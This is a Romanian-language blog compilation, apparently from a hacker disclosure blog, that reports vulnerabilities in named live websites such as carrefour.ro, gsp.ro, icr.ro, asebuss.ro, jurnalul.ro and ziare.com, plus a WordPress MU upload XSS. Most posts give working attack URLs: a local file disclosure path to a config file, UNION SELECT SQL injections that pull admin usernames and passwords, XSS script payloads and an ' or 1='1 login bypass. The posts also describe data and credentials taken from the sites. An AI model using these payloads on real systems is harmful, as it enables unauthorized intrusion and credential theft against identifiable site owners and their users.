Pe langa XSS-urile din site:

si SQL Injection-uri:

site-ul mai e afectat de o vulnerabilitate destul de draguta, local file disclosure. Se poate citi integral orice fisier de pe host la care acces userul de apache. Da, chiar si config.php/conf.php/blabla, cel cu informatii strict confidentiale:

Nu va mai arat si alte .php-uri, sunt scrise destul de urat, nu aveti decat sa va oripilati singuri:
http://www.carrefour.ro/index.php?pg=../catalog/conf.php%00

Ah, si inca ceva, in caz ca pare sa nu va mearga site-ul, asigurati-va ca ati pus www.carrefour.ro, e unul din acele siteuri/hosturi prost configurate la care nu merge fara www

O vulnerabilitate de tip sql injection in site-ul http://asebuss.ro ne-a fost raportata de catre unu_1234567.

Sintaxa: http://www.asebuss.ro/alumni.php?an=12349999%20union%20all%20select%201,concat(user_nume,0x3a,user_parola),3,4,5,6%20from%20user–

Screenshot:

Si desigur un mic xss: http://www.asebuss.ro/alumni.php?an=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E

O alta vulnerabilitate de tip sql injection ne-a fost raportata de unu_1234567. De aceasta data site-ul afectat este http://icr.ro, userul si parola de admin putand fii aflate extrem de simplu.

Sintaxa: http://www.icr.ro/comunicate.php?cod=123459999%20union%20all%20select%201,2,concat(user,0x3a,password),4,5,6%20from%20dny_users%20limit%200,1–

Screenshot:

Si xss: http://www.icr.ro/comunicate.php?cod=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E

Vulnerabilitate gasita de unu_1234567.

Un site Romanesc cu trafic foarte mare are aceleasi probleme ca multe alte site-uri despre care am scris in articolele noastre. Un sql injection in Gazeta Sporturilor ne arata cat de vulnerabili pot fii chiar si cei ce domina online-ul din Romania.

Sintaxa pentru admin si parola de admin: http://www.gsp.ro/index.php?section=euro2008&screen=lot&echipa_id=123499%20union%20all%20select%201,concat(name,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15%20from%20adm_users%20limit%200,1–

Screenshots:

XSS: http://www.gsp.ro/index.php?section=euro2008&screen=lot&echipa_id=”><script>alert(“XSS”)</script>

Sa nu gasesti adresa de contact pe site-urile vulnerabile si sa fii nevoit sa cauti prin baza lor de date mailurile adminilor ca sa ai unde sa ii anunti de probleme.

Oameni buni, uneori e spre binele vostru sa lasati o adresa de contact la vedere.

Vulnerabilitate de tip xss (permanent) datorata verificarii necorespunzatoare a imaginilor uploadate de catre useri - risc ridicat.

Sistem afectat: WordPress Multi User

Site-uri afectate: http://wordpress.com si toate site-urile ce folosesc platforma WordPress MU

Browsere afectate: Internet Explorer 6, Internet Explorer 7(8?).

PROOF OF CONCEPT: http://hackersblogdotorg.files.wordpress.com/2008/11/wpmupoc.jpg (accesati cu Internet Explorer 6 sau 7)

Fisierul folosit in aceasta demonstratie: http://hackersblog.org/wpmupoc.zip

Impact:

Posibilitate de infectare a utilizatorilor, cu softuri de tip malware sub pretextul unui link valid catre o imagine hostata pe domeniul respectiv.
Posibilitatea de a accesa conturile userilor si chiar ale adminilor.
Posibilitatea accesarii datelor private din profilele utilizatorilor afectati.

Pericole:

Tinand cont de faptul ca WordPress.com si domeniile ce folosesc platforma WordPress MU au milioane de useri per total, vulnerabilitatea aceasta poate contribui la furtul si accesarea conturilor de utilizatori sau chiar ale administratorilor. Totul poate degenera intr-un mass defacement sau (black) link building pe blogurile afectate. De aceea am catalogat-o la un nivel ridicat de pericol si am incadrat articolul in categoria social networks.

Nu este scuzabila respectiva problema. Aceasta “scapare” a browserelor exista de ani buni si un coder bun stie ca trebuie ocolita prin orice mijloace.

Solutii:

Validarea corecta a fisierelor uploadate.

Folosirea unui browser neafectat pana la patchul oficial.

Screenshot:

Scuze de intarzieri dar in ultima vreme toti am fost prinsi in celelalte proiecte si nu am mai acordat atentie foarte mare blogului. Am citit mesajele trimise de voi si vom reincepe postarea vulnerabilitatilor primite de la cititori si a celor gasite de noi.

Inteleg nevoia de libertate a internetului. Inteleg necesitatile oamenilor si batalia site-urilor de softuri de a oferi tot ce isi doresc utilizatorilor de internet. Dar sa intri pe download .com si sa gasesti un troian celebru pus la download este prea mult.

ATENTIE: Inainte de toate, ma simt nevoit sa reamintesc ca scopul meu si al intregului grup de pe blog nu e sa discreditam site-urile despre care scriem articole si totodata nu avem nimic cu tot ce se petrece pe site-urile respective. In cazul de fata SQL Injection-urile se afla in paginile sectiunii Copii disparuti a site-ului jurnalul.ro, un proiect bine intentionat.

Revenind… Chiar si cu un singur SQL Injection o intreaga baza de date poate fi compromisa. Folosindu-ma de unul din urmatoarele SQL Injection-uri gasite am reusit sa obtin diverse informatii “private” din baza de date a celor de la Jurnalul.ro:
http://copiidisparuti.jurnalul.ro/despre.php?id=blabla
http://copiidisparuti.jurnalul.ro/detalii.php?s=3&id=blabla
http://copiidisparuti.jurnalul.ro/largePicture.php?s=2&id=blabla

O mare greseala e ca userul de SQL de pe care se fac toate query-urile pentru site, jurnalul@localhost, are acces la toate bazele de date de pe server, inclusiv la information_schema. Ce inseamna asta? Ca printr-un SQL Injection ai putea afla lista cu toate bazele de date, cu toate tabelele si fiecare tabel ce coloana are, numarul de randuri din fiecare tabel, etc. As putea chiar sa fac in jumatate de ora un mic programel complet automatizat care sa faca un full dump la baza de date (ar dura ceva pana sa faca asta totusi)
Cate 2 screenshoturi pentru:
- Listarea bazelor de date:

- Listarea tabelelor din baza de date jurnalul_site_new:

- Listarea coloanelor din tabelul admins:

Dat fiind faptul ca am lista cu toate bazele de date, tabelele si coloanele acestora, pot extrage cam ce informatii vreau eu.

Cateva tipuri de informatii care pot fi extrase si care mi s-au parut interesante si numai bune de impartasit (partial doua din ele din motive lesne de inteles):

Ce reprezinta imaginile, in ordine:
1. Din listarea adminilor, 1 admin + o parola
2. Cred ca stiti de concursul Ia-ti Sandero de Jurnalul!… in imagine e una din seriile castigatoare (se puteau lista toate, pe rand)
3. In tabelul respectiv era o lista cu folderele cu resursele pentru articole (imagini, audio, video, etc), xxx era unul dintre foldere se pare
4. Un email extras din newsletter

Si, pe final, un XSS:
http://copiidisparuti.jurnalul.ro/despre.php?id=%3Cscript%3Ealert(/Hackersblog.org/)%3C/script%3E

Da, ati citit bine. Pagina de login a arhicunoscutului site ziare.com are ceva probleme cu filtrarea datelor, astfel daca vrem sa tragem in piept login systemul, folosim ca user admin' or 1='1 iar ca parola orice combinatie de caractere si… atat. Veti fi logat pe un cont aparent aleator (zic aparent pentru ca nu e chiar aleator, nu am stat sa studiez fenomenul, se incarca foarte greu siteul si paginile sunt prost realizate, se misca greu browserul… insa pare ca te-ar loga pe userul ultimei persoane care s-a logat pe site, desi nu bag mana in foc).

Cateva exemple:

Sa inchei in stilul meu:
Si un XSS in pagina sectiunii wiki a site-ului ziare.com: